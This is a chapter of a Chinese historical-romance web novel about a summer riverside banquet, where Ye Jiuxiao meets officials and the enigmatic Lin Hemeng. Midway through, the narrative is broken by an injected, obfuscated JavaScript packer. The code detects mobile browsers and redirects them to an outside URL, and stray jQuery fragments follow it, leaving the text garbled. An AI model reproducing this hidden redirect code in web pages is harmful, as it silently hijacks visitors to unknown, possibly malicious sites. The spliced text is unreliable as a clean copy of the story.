上巳放榜,每年曲江大宴便是盛事。
“器皿隔山抛之”,论的是排场,金杯玉盏、仆从、车马,哪一样比输了,便生憾心,有些人当年大宴一毕,当日便立下豪言壮语,待明年三月的大宴,定要寻得人间难觅之器,以彰别具一格之风采。
但一年一宴到底孤寂,等待也颇为焦灼。
故而这两年,六月一宴,冬日再行一宴,与曲江大宴并称三宴,其余小宴林林总总,平日里也显得热闹起来。
六月一宴不同上巳宴,为夏宴,赫赫三伏时,非在上御的紫云楼底下那一方,为接曲水静灵之气,沿着曲水设帐行宴,中围一隅,夏草碧油生色,舞姬、乐姬于坪前一展舞姿。为避毒晒,帐为平顶金光帐,四边又以白纱为之,朝中大员隐约其中,身侧傍京中诸色,风水轮转,何人又有存蓄,何人又跟了新靠山,隐隐约约,此中又别有一番京中动荡,也是宦海沉浮,窥得一斑。
上巳曲江传下来的□□,这头一桩事——
观的便是车马。
“江头数顷杏花开,车马争先尽此来。”
故无论大宴小宴,王侯举子,在车马上都要费一番功夫。
京中赛车马——以奇制胜。
御者、车制、伴侍、帐幔,无一不可出奇。
车马以奇、以华丽为观。
今日一辆大白牛车颇引人注目。
白牛肤色充洁,形体姝好,行步平正,似有大筋力。
御者是一个昆仑奴,九尺余高,日头底下皮肤黑亮,与白牛形成鲜明对比。
牛车后头跟着侍女三人,中间一个侍女着了男装,手举一条宽幅红帐幔。
后厢吊帘曳地,拱形的赭褐车篷,两檐前后微翘,上设幰盖,周匝四杆,四面悬铃,横者为栏,纵着为楯,栏杆之上半圆形横额彩画,与前头大白牛有两杆之距,施施然而来,显得气派壮阔。
牛车朝初多见,龙溯年间便少了。
只是大白牛车越发少见,众人的目光都聚向这辆犊车——
想看看车中究竟是哪个府上的贵妇,更有甚者,猜测是公主或是王妃的舆具。
幰覆一撤,里头重敷綩綖,安置丹枕。
一把团扇先出。
扇骨四边留“余玉”,中间是一团花卉。
一玲珑身躯接着下车,似要把整张脸都埋在那团扇之中。
“哈哈哈——”
叶九霄和刘姑两人相伴,在坪上走。
看着丽娟遮着脸,从牛车上下来,笑了一阵。
蒋公快五十了,于牛车前亲自搀她。
她人小,着衣娟巧避繁复。
窄袖短襦,裙长曳地,红襦白裙,一条素色绦带,快步往西面的远帐中去。
临湖分帐,左右有制,如军中布帐,蒋公虽不在朝上,但有德望,其帐依然设在坐首前列。
“我们二当家今日也当个贵妇人,京师瞩目,岂不快哉!”
刘姑皱着眉头,看着提裙快步往远帐去的丽娟,笑道:
“二当家今日瞧着倒有些羞,这……牛车也太显眼了!”
叶九霄提着裙摆,今日仍旧是一袭红,内外渐染之色,层叠多变,看着却不繁复,缓缓踏着坪。
“我们蒋公是真喜欢她,把最好的都给她了。”
“何以见得?”
“以大白牛车,予之。”
叶九霄话里有禅机,刘姑也未必全然懂得,只斜瞧了她一眼——
叶九霄前颈袒于曜日之下,这般明照,亦无一丝瑕斑,更显盈厚丰润。
擦身而过有些举子,收不住眼风,似想近前来一赸,但碍于叶九霄身上的几分克势,一边犹豫着,一边扬高声调——
高谈阔论。
她最知当家的,瞧着不像诗书性子,但平日里博闻广涉,贵在有恒,故朝中贵要,总能与当家的说上两句,一般俗论,自然是入不得当家的耳。
——这些情形自然也在叶九霄目中。
她领着刘姑斜斜踏了几步,从曲水与行帐边隔着的那一段走。
帐中是一道道背影。
有熟悉的,也有不熟悉的。
隔着帐看着坪中已跃跃欲试的舞姬,今年夏宴竟然有胡姬展才,略停了步子观看。
中间一个胡姬叶九霄识得,便是坊曲卖酒的姑娘。
今日未着男装,高挺的鼻梁,单腿旋了一阵,又接跺脚转,如一朵莲花。
脸上的笑是十足的精神。
——“她这个跳得极好,跺脚转是西域的踏步,常人一跺或许忙乱,她却不忙。”——
是熟悉的声音传来。
“你去跳,你跳得也好。”
“我没她跳得好。”
“你比她跳得好。”
“你烦死了!”
“我恭惟你,你还嫌我烦!”
“谁要你恭维了!”
“那你没她跳得好!”
“……各有千秋,谁说我没她跳得好!我叫眉舒,舞伎一途,还未输过谁!”
“你这个人真奇怪,说你跳得好也不行,说你跳不过别人也不行,那你去跳!”
眉舒的背影在长孙公子的帐中,跪直在那里,比身侧坐着的长孙公子高出半个身量,她今日着红衣,梳的是惊鹄髻,背后看两个“髻翅”像两个螺角,京中妇人梳此髻,多半仿的是鹄鸟受惊时欲飞的行色,而她这个髻梳得灵巧,是展翅欲飞的灵动,身窄,束腰的红裙,着裤,显然有一展舞姿的预备。
刘姑听得要笑出声儿来,捧着腹:
“当家的你听听,这一对冤家。”
“头晕,还是别听了。”
叶九霄刚准备快走两步,前头一个人挡住了她,正向她恭敬地行了一个礼。
定下步子,一看竟然是安竹从边上一帐出来。
叶九霄有些愕然。
“我感觉到当家的过来了。”
“你这种感觉总让我吓出一身冷汗。”
安竹一笑:
“若没有这点本事,也做不了这问卜之事。”
“也是。”
跟着从帐中走出一个人来,袍服规整,是官服的形制,行动间极有静气,朝叶九霄做了个常礼,他朝中官吏,照例应该是她叶九霄行礼在先,叶九霄缓目看他一眼,接着才行了一礼。
胡重续一双眼睛显得清明:
“一直听闻大当家的名声,九霄楼我常来,但总是擦身而过,缘悭一面,是我的不是了。”
“明年。”
叶九霄吐了两个字。
胡重续一愣,不知其何意,揣测间眉头微拢。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725955|173716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
叶九霄看着他道:
“胡大人从七品到五品,只用了两年,明年见安竹一面,我可要坐地起价了。”
胡重续听完,垂头一笑:
“本想要揣一些姿态,没想到见了当家的露了馅,适才一番寒暄,竟忘了自报家门。”
他提了两下袖,虎口握住袖边,看了一眼安竹。
他的目光中现出一丝真诚:
“正因当家的慧目如炬,手里才能握有无价摩尼……”
他在这里停顿了一下:
“胡某愿得吉言,得抱玉握珠之实才,有所进益。”
四人作礼相别,刘姑眼波微动:
“安竹姑娘好福气,这胡大人言语里似乎有安托其终身之意。”
“娶了回去,每日一占,无需卦金,官至一品,何乐不为……”
听叶九霄调侃,刘姑笑了。
叶久霄脑中忽然闪过孙翊之妻徐氏,亦极善卜《易》,眉头微蹙。
“当家有何顾虑?”
叶九霄叹了一口气,
“我自然希望楼里的姑娘都好,只是刘姑,你可知胡重续在朝中想倚傍何人?”
“何人?”
忽然一阵风从四面而来。
夏日间碧草肖如伏波,如浪打般的青绿涌了一阵,耳边呼呼作响,伴着四面而来的惊呼声——
姑娘们压着裙襦,团扇置于身前。
四方的帐一阵摆动。
帐中杯盏咯咯相碰的声儿。
叶九霄眯着眼,伫步停了半晌。
正巧路过边上那帘纱卷起来,打着弯儿腾了半日。
里头坐了一个人,绯色官服,大袖,背上是暗花,绣的是飞禽。
原本正望着前头坪间,却不知为何,转身一顾。
两人的目光在帘拢打摆之间一触。
“临鹤梦。”
叶九霄开口。
那人眼神一动,向坪间一望,脸上是沉肃,却没有犹疑:
“叶九霄。”
叶九霄忽然觉得眼前有无数情景翻过,似曾相识,又一闪而过,如佛陀坐下的莲花,打开了一个口子,一下子涌上来。伴着耳边嗡地一声,像庙宇里的寺钟,敲击一声,声音是缓缓地从眼前延展开。
临鹤梦手里就了一只素杯,杯中是茶,他看着杯中影,双唇翕动:
“我若说,此情此景,无间梦境,我曾见过叶大当家,叶大当家可觉得俗套?”
叶九霄:
“不会。”
二字落音,临鹤梦再度回首,眉宇间暗藏思索:
“为何?”
“我若说前世今生,我亦觉似曾相识……临大人会否觉得这是娼家惯技?”
“……不会。”
临鹤梦答得不若她干脆,似思索了一会。
但二字极为低沉。
更像是说与他自己听的。
临鹤梦帐中有一香炉,第一炉香恰巧升腾,适才一阵风,一道白烟从中间而分,绕出两道烟姿,一道已笔直而上,一道仍旧打着圈儿,在帐里晕开。
临鹤梦看着身侧:
“不知……叶大当家是否愿意进来坐坐。”
“敢问此座原先有人否?”
“有。”
“那我便不坐了。